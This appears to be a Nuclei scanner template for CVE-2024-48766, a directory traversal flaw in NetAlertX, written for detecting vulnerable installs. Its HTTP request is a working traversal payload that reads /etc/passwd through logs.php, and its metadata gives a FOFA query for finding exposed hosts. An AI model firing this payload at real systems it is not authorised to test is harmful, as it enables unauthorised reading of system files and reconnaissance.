CVE-2024-48766: NetAlert X - Arbitary File Read

id: CVE-2024-48766

info:
  name: NetAlert X - Arbitary File Read
  author: s4e-io
  severity: critical
  description: |
    A directory traversal vulnerability has been identified in NetAlertX versions v24.7.18 - v24.9.12.
  impact: |
    This vulnerability allows remote attackers to list directories on the affected system. Successful exploitation could enable unauthorized users to explore the system’s internal structure.
  remediation: |
    Fixed in v24.10.12
  reference:
    - https://advisories.checkpoint.com/defense/advisories/public/2025/cpai-2024-1358.html
    - https://github.com/rapid7/metasploit-framework/pull/19881
    - https://github.com/jokob-sk/NetAlertX
  classification:
    epss-score: 0.77983
    epss-percentile: 0.98955
  metadata:
    verified: true
    max-request: 1
    vendor: jokob-sk
    product: netalertx
    fofa-query: "NetAlert X"
  tags: cve,cve2024,netalertx,lfi,vkev,vuln

variables:
  filename: "{{rand_base(6)}}"

http:
  - raw:
      - |
        POST /php/components/logs.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        items=[{"buttons":[{"labelStringCode":"Maint_PurgeLog","event":"logManage(app.log, cleanLog)"},{"labelStringCode":"Maint_RestartServer","event":"askRestartBackend()"}],"fileName":"{{filename}}","filePath":"../../../../..//etc/passwd","textAreaCssClass":"logs"}]

    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - 'contains(body, "Purge log")'
          - 'status_code == 200'
        condition: and
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